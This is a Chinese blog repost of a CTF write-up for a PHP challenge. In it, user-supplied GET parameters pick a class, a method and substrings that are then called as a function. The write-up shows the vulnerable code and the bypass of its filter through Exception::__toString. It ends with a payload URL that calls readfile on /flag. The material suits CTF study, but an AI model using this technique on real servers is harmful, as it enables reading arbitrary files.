PHP Exception CTF题目

admin 2022年11月22日12:56:12评论219 views字数 1049阅读3分29秒阅读模式

PHP Exception CTF题目

扫一扫关注公众号,长期致力于安全研究PHP Exception CTF题目

前言:这是前段时间打的一场比赛



0x01 解题思路

首先代码如下,关键点就在于这几行。其实就是通过substr来截取字符串并在最后一行当做函数来调用

$class = new $a($b);

$str1 = substr($class->$c(),$d,$e);

$str2 = substr($class->$c(),$f,$g);

$str1($str2);


<?php
error_reporting(0);show_source(__FILE__);
Class Hello{
public $filename; public $contents;
public function __construct(){ $this->filename = "hint.php"; $this->contents = "you guess"; }
public function fileread(){ echo "keep going"; }}
$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|Exception/i", $c)) { die("hello");}
$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);?>

那需要截取什么字符串呢?这里就使用Exception中的_toString方法来回显信息,因为在34行中有substr来切割字符串、

PHP Exception CTF题目


本地通过print打印出现了回显,而Exception: 则是起始位置,readfile是8个位置,所以

$str1 = substr($class->$c(),$d,$e);的d是11 e是8,这样就截取到了readfile这个字符串

所以现在的坐标是19

$str2 = substr($class->$c(),$f,$g);  f则为19,g是/flag的长度为5

现在$str1为readfile $str2为

http://xxxxx/?a=Exception&b=readfile/flag&c=__toString&d=11&e=8&f=19&g=5

这样flag就出来了

PHP Exception CTF题目

~.~

PHP Exception CTF题目






原文始发于微信公众号(HACK安全):PHP Exception CTF题目

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月22日12:56:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP Exception CTF题目https://cn-sec.com/archives/1422928.html

发表评论

匿名网友 填写信息